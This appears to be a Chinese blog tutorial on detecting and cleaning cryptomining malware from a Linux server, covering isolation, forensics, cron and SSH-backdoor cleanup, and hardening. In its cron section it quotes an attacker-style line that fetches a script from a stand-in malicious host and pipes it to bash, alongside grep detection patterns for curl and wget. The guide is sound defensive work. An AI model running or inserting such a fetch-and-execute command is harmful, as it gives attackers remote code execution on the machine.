☰
Linux服务器挖矿病毒排查与清理:从异常CPU到彻底处置的实战指南
2026/10/21 2:56:28 网站建设 项目流程

一个夜深人静的加班夜,我像往常一样 SSH 登录服务器准备排查一个诡异的内存告警。

free -h一敲下去,我愣了一下——这台 4G 内存的机器,可用内存居然只剩不到 300M。带着不祥的预感,我敲下了htop,滚动列表刷了整整三屏,那个把 CPU 顶到 380% 的进程名,从没在我的服务器上见过。

第一反应是遇到了挖矿病毒。第二次反应是——完了,这台机器是我帮朋友搭的正式业务服务器,数据库和网站都跑在上面。

后面那两个小时,我从惊慌到冷静,再到把矿工程序、定时任务、后门用户一点点拔干净,整个过程让我意识到一件事:挖矿病毒这东西,看起来吓人,但只要处理顺序对了、工具用对了,一个普通 Linux 用户也能应对。

这篇文章就把我踩过的坑和不走弯路的处理流程写清楚,给跟当初的我一样的新手一剂定心丸。

1. 挖矿病毒到底是怎么进来的?先搞懂它才能干掉它

很多新手遇到挖矿病毒第一反应是急着杀进程,这方向其实没错,但只杀进程是杀不干净的。想要真正处理掉,得先花几分钟弄清楚挖矿病毒的基本套路。

1.1 挖矿病毒的本质:被劫持的 CPU 算力

挖矿病毒的核心逻辑很简单,就是利用你机器的 CPU 或 GPU 算力去计算哈希值,为攻击者挖掘门罗币、比特币这类加密货币。攻击者之所以盯上 Linux 服务器,就是因为服务器通常 7x24 小时在线、带宽稳定、算力远强于普通个人电脑,一台被植入挖矿程序的机器,能在不知不觉间为攻击者贡献稳定收益。

这类病毒通常伪装成正常的系统进程名,比如kworker、systemd、networkmanager、java之类,让管理员扫一眼top时不容易察觉异常。更隐蔽的还会通过进程替换、rootkit 技术隐藏自身,让ps命令根本看不见它。

用大白话打个比方:你的电脑就像一家网吧,挖矿病毒就是个不速之客,偷偷在你网吧包厢里开了一台不断烧电的矿机,电费算你的,收益算他的。你要做的不仅是把这位客人赶走,还得把网吧的门锁换掉,堵上他进来用的那扇窗户。

1.2 常见的入侵入口:你以为是高手的攻击者,其实用的是笨办法

我在那次处置中排查日志时发现,入侵者并不是什么神秘高手,用的都是些老掉牙的手段:

  • SSH 弱口令爆破:服务器开放了 22 端口,密码还是123456级别,攻击者用字典暴力猜测密码,猜中之后直接登录。这是最最常见的入口。
  • 未修补的软件漏洞:某个服务存在已知远程代码执行漏洞,攻击者扫描到后直接利用漏洞写入恶意脚本。
  • 暴露在公网的服务端口:比如 Redis、Docker API、Hadoop YARN 这类服务,如果没设置密码或访问控制,攻击者可以无密码接入后执行命令。
  • 第三方组件供应链污染:从某个不正规渠道下载的脚本或工具包里被植入了恶意代码,安装时顺手就把矿工程序装上了。

理解了入口,你也就理解了一个重要的处理原则:只杀进程、不堵入口,等于白干。不找到它是怎么进来的,你前脚刚清理完,后脚它又能卷土重来。

2. 第一时间要做的三件事:自救前先稳住

很多人一上来就各种删文件、杀进程,搞到一半发现系统崩了,业务也跟着完蛋。我觉得处理挖矿病毒其实跟处理火灾有点像——先控制火势,再灭火,而不是冲进去瞎搬东西。

2.1 立刻隔离网络,防止二次扩散

发现机器被植入挖矿程序后,第一件事不是急着清毒,而是先把机器从网络里隔离出来。具体操作是:

  • 如果是阿里云、腾讯云这类云服务器,直接在云控制台的安全组里把入方向规则全部设为拒绝,或者直接把机器关机。
  • 如果是机房物理机,直接拔掉网线,或者用防火墙规则临时封锁所有入站连接。
  • 确认机器上没有跑着必须实时在线的业务时,最稳妥的办法就是直接关机,让挖矿程序暂停运行。

这里有个容易忽略的点:除了入站流量,还要注意出站流量。挖矿程序需要跟矿池通信,如果业务不依赖外部连接,可以把出站也临时封了,一击切掉挖矿程序的后路,防止它把机密数据外传。

2.2 立即修改账号密码,别给攻击者留后门

很多人忽略这一步,跑去清文件清到一半,攻击者又登进来把文件放回去了,循环往复,永远清不干净。

处理方法:

  • 把所有用户密码都改一遍,特别是 root 密码和已知的应用账号密码。
  • 检查/etc/passwd和/etc/shadow,把陌生的用户(尤其是 UID 为 0 的用户)找出来并删除。
  • 检查~/.ssh/authorized_keys,这是攻击者最爱留后门的地方——他把自己电脑的公钥写进去,以后随时免密登录,你根本察觉不到。

我在实际操作中见过很多案例是,病毒本身清了,但攻击者留了 SSH 公钥后门,第二天又回来了。所以这部分务必花十分钟彻底检查,别嫌麻烦。

2.3 保存现场信息:操作系统自带的取证功能

在动手清理之前,建议先做一次“现场快照”,留下原始信息供后续分析。这不是专业取证才需要的操作,普通用户做几个命令就能完成:

# 记录当前的进程列表 ps -ef > /tmp/ps_before.txt # 记录当前的网络连接 netstat -antlp > /tmp/net_before.txt # 记录当前的登录记录 last > /tmp/last_before.txt # 记录计划任务列表 crontab -l > /tmp/crontab_before.txt

这些文件在清理过程中可以反复对照,帮助你发现恶意程序的动态变化,也是判断攻击者活动范围的依据。

3. 定位挖矿进程:从 CPU 异常到揪出真凶

3.1 用 top 和 htop 快速锁定高 CPU 进程

挖矿程序最显著的特征就是 CPU 占用极高,通常会持续稳定在很高的数值。

top -c

重点看%CPU这一列,找出 CPU 占用率最高的进程。

-c参数非常重要,它能显示完整的命令行,方便你判断这个进程是不是正常的业务进程。正常业务进程的 CPU 占用波动是有规律的,而挖矿进程的 CPU 占用往往是满格持续的,几乎不降不下来。

如果系统没装 htop,又不习惯 top 的界面,也可以用这样一行命令直接输出按 CPU 排序的前十个进程:

ps aux --sort=-%cpu | head -20

无论用哪种方式,拿到了可疑进程的 PID 之后,先别急着 kill。下一步要查看它的详细信息。

3.2 顺着 PID 查进程详细信息

# 查看进程的启动时间、运行状态、可执行文件路径 ps -p 12345 -o pid,ppid,user,etime,lstart,cmd # 查看进程关联的网络连接 lsof -p 12345 | head -30 # 查看进程的当前工作目录 ls -l /proc/12345/cwd

重点信息是:

  • 可执行文件路径:挖矿程序往往藏在/tmp、/var/tmp、/dev/shm、/usr/lib这类目录下,甚至直接放在/root下还起个像系统文件的名字。
  • 父进程 PID(PPID):如果父进程是个守护脚本,说明还有其他东西在守护它,杀它之前得先把父进程的问题解决。
  • 网络连接:挖矿程序一定会和矿池通信,找到目标 IP 和端口可以确认它就是挖矿程序。

提示:/proc/PID/exe是指向可执行文件真实路径的符号链接,直接ls -l /proc/12345/exe就能看到准备工作所在的位置。

3.3 揪出隐藏进程:命令被劫持时怎么办

在部分被高阶攻陷的机器上,ps、top这些命令本身可能被替换过,直接执行看不到恶意进程。这时候有两个备选方案:

  1. 使用静态编译的替代工具,比如下载一个静态编译的busybox,里面包含了ps、netstat、lsof等常用工具,不需要依赖系统动态库,恶意程序就很难隐藏。
  2. 直接查看 proc 文件系统:
# 列出所有 PID,再通过 exe 链接查看每个进程的真实路径 for pid in /proc/[0-9]*; do echo "$(basename $pid) -> $(readlink $pid/exe 2>/dev/null)" done

这条命令即使系统命令被劫持也能正常显示大部分信息,因为这些是直接读取内核暴露的接口,不经过用户态命令。

4. 清理挖矿病毒:一套完整的处置手册

定位到恶意进程和文件之后,接下来说说完整的清理动作。这部分我按实际操作的逻辑一步步写,跟着做就能走完。

4.1 第一阶段:终止恶意进程并隔离相关文件

先做两件事:终止进程、冻结文件,防止它在清理过程中不断自愈和回写。

# 停止恶意进程(先用 SIGTERM 温和尝试,不行再用 SIGKILL) kill -9 PID # 找到并查看病毒相关文件 ls -la /tmp /var/tmp /dev/shm find / -name "*.sh" -newermt "2024-01-01" -type f -mtime -30 2>/dev/null

找到病毒文件后,不要直接删除。原因是:如果它是某个进程正在运行引用的动态库或可执行文件,删除后进程可能频繁报错或自动重启;另一个原因是,先把它移动到隔离目录,有需要时还能分析,不会误删正常文件。

# 把它们集中移动到隔离目录 mkdir /opt/virus_quarantine mv /tmp/xmrig /opt/virus_quarantine/ mv /var/tmp/kworkers /opt/virus_quarantine/

注意:如果杀了一个进程后它在短时间内又出现了,说明有守护进程或定时任务会把它重新拉起来。这时候不要反复跟它纠缠,直接用下面的方法把所有入口一次堵上。

4.2 第二阶段:清查定时任务和启动项

挖矿病毒最常用的“复活”手段就是写定时任务。Linux 的定时任务不只是crontab -l,有好几个地方都需要重点排查:

# 当前用户的定时任务 crontab -l # root 的定时任务 sudo crontab -l # 系统级别的定时任务目录 ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ ls -la /var/spool/cron/ # 查看全部包含可疑内容的任务配置 grep -r "curl\|wget\|/tmp\|base64" /etc/cron* /var/spool/cron/ 2>/dev/null

实际情况中,攻击者的定时任务常常这样字符串一下从远端拉取脚本再执行:

*/5 * * * * root curl -fsSL http://evil.example.com/x.sh | bash

也就是每五分钟从恶意服务器拉取一次脚本并执行,所以只要定时任务不删干净,病毒可以无限复活。看到类似的项,把这整行删除即可。

除了定时任务,还需要检查系统服务启动项:

# 列出所有 systemd 服务,查找名字可疑的 systemctl list-units --type=service --all | grep -E "tmp|kworker|update|mysql" # 查看所有服务对应的启动文件,排查恶意自启动 grep -r "ExecStart=/tmp\|ExecStart=curl\|ExecStart=wget" /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null

把可疑的 .service 文件先用systemctl disable禁用,再删掉。

4.3 第三阶段:清除 SSH 后门和异常账号

这部分前面提过,但这里是具体的完整排查命令:

# 1. 查看所有可以登录的用户 cat /etc/passwd | grep -E "/bin/bash|/bin/sh" # 2. 查看 UID 为 0 的特权用户(正常只有 root) awk -F: '$3==0{print $1, $3, $7}' /etc/passwd # 3. 查看所有用户的 SSH 公钥 find /home /root -name "authorized_keys" -exec cat {} \; # 4. 检查匿名用户和空密码用户(正常输出应为空或只有系统需要保留的) awk -F: '($2==""){print $1}' /etc/shadow # 5. 检查 /etc/sudoers 是否有异常提权配置 grep -v "^#" /etc/sudoers | grep -v "^$"

我之前处置的一台机器上,攻击者在 root 的authorized_keys里加了一条公钥,还在/etc/passwd里加了个 UID 为 0、用户名伪装成syslogd的后门用户。处理时不仅要把异常账号删掉,还要备份一份修改前的文件,方便后续追溯。

4.4 第四阶段:修补入口,否则前功尽弃

清完病毒和定时任务,最后的收尾工作就是加固防线。这一步不是可选项,是必须项。

SSH 加固:

# 编辑 /etc/ssh/sshd_config,重点调整以下配置 PermitRootLogin no # 禁止 root 直接登录 PubkeyAuthentication yes # 启用密钥登录 PasswordAuthentication no # 禁止密码登录(如果你已经配置好密钥) MaxAuthTries 3 # 限制最大认证尝试次数 AllowUsers youruser # 只允许指定用户登录

修改完记得systemctl restart sshd,但要在确认自己已经配置好 SSH 密钥、能正常登录后再重启,否则容易把自己锁在门外。

防火墙配置:

# 使用 UFW 时 sudo ufw default deny incoming sudo ufw allow 22/tcp sudo ufw allow 80/tcp sudo ufw allow 443/tcp sudo ufw enable # 使用 firewalld 时 sudo firewall-cmd --set-default-zone=drop sudo firewall-cmd --permanent --add-service=ssh sudo firewall-cmd --reload

云安全组:如果你的服务器是云厂商的,在控制台的安全组里把不需要的端口全部删除,只留下 22、80、443 等必要端口。安全组相当于服务器的第一道大门,这层关好,外面的人就很难进得来了。

5. 实操中反复出现的高频坑:新手最容易翻车的地方

这几个坑是我在多次处理挖矿病毒的过程中踩到过的,以及帮别人处置时反复见到的问题,整理成速查表,省得你们再走弯路。

5.1 为什么 kill 了进程它又自己跑回来?

这是新手一百次遇到一百次都会懵的问题。原因也很简单,病毒不是单兵作战,它是成体系的。进程只是整个体系里的一个“打工仔”,真正控制它的是定时任务、守护脚本、或者注入在其他正常进程里的指令。

对治办法也不复杂,就是按照上面说的流程,先清掉定时任务、后门文件、异常服务,最后再杀进程。杀进程只是摘果子,砍树根才是根本。如果清完定时任务后进程还是复活,可以再用lsof检查是否有守护进程持有这个文件,把守护进程也一并处理掉。

5.2 误杀系统进程怎么办?

很多病毒会伪装成与系统进程相似的名称,但不是所有名字里带kworker或systemd的都是病毒。kworker是内核工作线程,本身是系统的一部分,CPU 长期高占用才算可疑;systemd是系统初始化进程,PID 一般是 1,杀掉直接崩溃。

我的建议是:在 kill 之前先确认三个信息——启动用户(正常系统进程很少用 root 之外的用户跑)、可执行文件路径(系统进程通常位于/usr/bin、/usr/sbin、/bin等标准路径,而病毒文件常位于/tmp、/dev/shm、/var/tmp)、启动时间(系统进程从开机就在,病毒进程通常是最近几分钟才启动的)。确认这些之后再动手,误杀概率就低很多。

如果真的误杀了系统进程,也别慌,多数情况下systemctl restart对应服务或者直接重启机器就能恢复。真正要防的是在没确认的情况下照着名字乱杀。

5.3 清理完 CPU 还是 100%?还有哪些隐藏角落要查

有时候眼看进程名都已经没了,CPU 却还在 100%,这时候要查几个容易被忽略的角落:

  1. 网络连接里的异常外连:用ss -antp看有没有持续与陌生 IP 建连的进程,即使它不在top前列,也可能在低频偷跑。
  2. LD_PRELOAD 预加载:查看/etc/ld.so.preload文件和所有进程的环境变量里有没有异常动态库,恶意动态库会劫持系统调用隐藏自身。
  3. rootkit 痕迹:检查ls -la /dev里有没有可疑的设备文件,用chkrootkit或rkhunter跑一遍快速体检。
  4. 内核模块:lsmod查看加载的内核模块,可疑模块用modprobe -r卸载。

这些属于进阶排查方向,新手遇到时建议直接跳到后面的终极方案——备份数据重装系统。

5.4 实在搞不定的终极方案:备份数据,重装系统

我见过很多初学者在清理了三天三夜之后,最终选择了重装系统——而且我完全支持这个决定。

什么时候该重装:

  • 系统已经被严重入侵,你无法判断攻击者拿到了多少权限
  • 病毒使用了复杂的 rootkit 技术,进程和文件都隐藏得很深
  • 排查中发现攻击者已经植入了多个后门,清理起来没完没了
  • 服务器上的业务不重要,或者数据每天都有备份

重装前要做的事:

  1. 只备份必要的数据文件(数据库导出、源码、配置文件),不要备份系统目录。
  2. 备份的文件要在另一台干净机器上先做一次病毒扫描,确认没有残留恶意脚本后再用到新系统。
  3. 重装后立刻执行系统更新、防火墙配置、SSH 加固,别让服务器裸奔。

重装系统不是丢人的事,反而是止损效率最高的选择。花了三天清病毒,不如花一个小时重装系统再花一个小时恢复数据,这个账要算清楚。

6. 日常防护清单:别等中毒了才想起来这些事

处理完病毒之后,真正该做的是让它别再回来。下面这张清单是按优先级排的,每一条都值得照着做。

6.1 登录层防护:第一道门要关紧

配置项推荐做法作用
SSH 密码登录关闭杜绝暴力破解
SSH 密钥登录开启用密钥代替密码验证身份
root 远程登录禁止迫使攻击者先破解普通用户
登录失败锁定安装 fail2ban连续失败自动封 IP
登录二次验证可选的 Google Authenticator即使密码泄露也无法登录

fail2ban 的配置相对简单,安装后默认就能防护 SSH 暴力破解:

apt install fail2ban systemctl enable fail2ban systemctl start fail2ban

它会自动监控日志文件,检测到同一个 IP 连续认证失败多次就临时封禁,是防暴力破解性价比最高的工具。

6.2 服务层防护:不用的服务别长期开着

  • 所有不需要公网访问的服务一律监听内网 IP(127.0.0.1),比如数据库、Redis。
  • 数据库、Redis 等必须设置强密码,Redis 还要在配置里开启protected-mode yes。
  • Docker API 不要无防护地暴露在公网,要用 TLS 证书或网段限制访问。
  • 关闭不需要的服务:systemctl disable --now那些用不到的服务,减少攻击面。

Redis 是个典型的重灾区,很多开发者为图方便,把 Redis 裸奔在公网,攻击者利用未授权访问直接写入 SSH 公钥或者 crontab,一分钟就能种上挖矿病毒。

6.3 监控与告警:让异常第一时间被发现

中毒早发现一天,损失就能小很多。建议至少配置以下监控:

  • 云厂商自带的监控告警:在云控制台设置 CPU 使用率超过 80% 持续 10 分钟就告警。
  • 自定义脚本检查进程列表:每天凌晨跑一次,扫描有没有新出现的异常进程,发现就发告警邮件。
  • 日志分析:对登录日志做定时分析,发现来自陌生 IP 的成功登录立即告警。

不需要多复杂的监控平台,一个简单的定时脚本加一个通知服务就能解决大部分监控需求。重点在于可疑行为得有人及时发现,挖矿病毒的特征那么明显,CPU 持续飙高五六个小时没人管,才是最大的问题。

7. 我的几点总结性体会

处理挖矿病毒的过程,其实就是一个和攻击者斗智斗勇的过程。整个过程走下来,我最深的体会是,很多管理员并不是输在技术不行,而是输在处理思路不对。一上来就删文件、杀进程,结果信息没保留、入口没堵住、后门没清除,忙活半天病毒还在,心态就崩了。

按照这篇文章的流程走,把隔离、排查、清理、加固四个环节逐项做完,绝大多数挖矿病毒都能清理干净。如果中途发现病毒技术很复杂,果断选择备份数据、重装系统,这不是退让,而是止损。

最后再分享一个小技巧:处理完成之后,建议在服务器上留一个只有你知道的“安全后门”——比如备份一份干净的 SSH 配置文件、记录好当前的端口白名单、把常用的排查命令保存成脚本放在本地电脑。这样即便下次真的再出问题,你也能用最快的方式恢复掌控权。

希望这篇指南能帮到正在跟挖矿病毒搏斗的你。保持冷静,一步步来,你的服务器迟早会重新回到你手里。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询